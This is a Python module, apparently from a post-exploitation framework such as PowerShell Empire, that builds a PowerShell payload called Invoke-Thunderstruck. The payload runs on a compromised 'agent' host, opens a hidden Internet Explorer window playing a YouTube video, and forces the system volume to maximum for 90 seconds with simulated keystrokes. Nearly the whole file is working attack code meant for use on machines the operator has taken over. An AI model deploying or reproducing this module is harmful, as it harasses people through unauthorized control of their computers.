import base64 from lib.common import helpers class Module: def __init__(self, mainMenu, params=[]): self.info = { 'Name': 'Invoke-Thunderstruck', 'Author': ['@obscuresec'], 'Description': ("Play's a hidden version of AC/DC's Thunderstruck video while " "maxing out a computer's volume."), 'Background' : True, 'OutputExtension' : None, 'NeedsAdmin' : False, 'OpsecSafe' : False, 'MinPSVersion' : '2', 'Comments': [ 'https://github.com/obscuresec/shmoocon/blob/master/Invoke-TwitterBot' ] } # any options needed by the module, settable during runtime self.options = { # format: # value_name : {description, required, default_value} 'Agent' : { 'Description' : 'Agent to run module on.', 'Required' : True, 'Value' : '' }, 'VideoURL' : { 'Description' : 'Other YouTube video URL to play instead of Thunderstruck.', 'Required' : False, 'Value' : '' } } # save off a copy of the mainMenu object to access external functionality # like listeners/agent handlers/etc. self.mainMenu = mainMenu for param in params: # parameter format is [Name, Value] option, value = param if option in self.options: self.options[option]['Value'] = value def generate(self): script = """ Function Invoke-Thunderstruck { [CmdletBinding()] Param ( [Parameter(Mandatory = $False, Position = 0)] [ValidateNotNullOrEmpty()] [String] $VideoURL = "https://www.youtube.com/watch?v=leJ_wj7mDa0" ) Function Set-Speaker($Volume){$wshShell = new-object -com wscript.shell;1..50 | % {$wshShell.SendKeys([char]174)};1..$Volume | % {$wshShell.SendKeys([char]175)}} Set-Speaker -Volume 50 #Create hidden IE Com Object $IEComObject = New-Object -com "InternetExplorer.Application" $IEComObject.visible = $False $IEComObject.navigate($VideoURL) Start-Sleep -s 5 $EndTime = (Get-Date).addseconds(90) # ghetto way to do this but it basically presses volume up to raise volume in a loop for 90 seconds do { $WscriptObject = New-Object -com wscript.shell $WscriptObject.SendKeys([char]175) } until ((Get-Date) -gt $EndTime) } Invoke-Thunderstruck""" for option,values in self.options.iteritems(): if option.lower() != "agent" and option.lower() != "computername": if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch script += " -" + str(option) else: script += " -" + str(option) + " " + str(values['Value']) script += "; 'Agent Thunderstruck.'" return script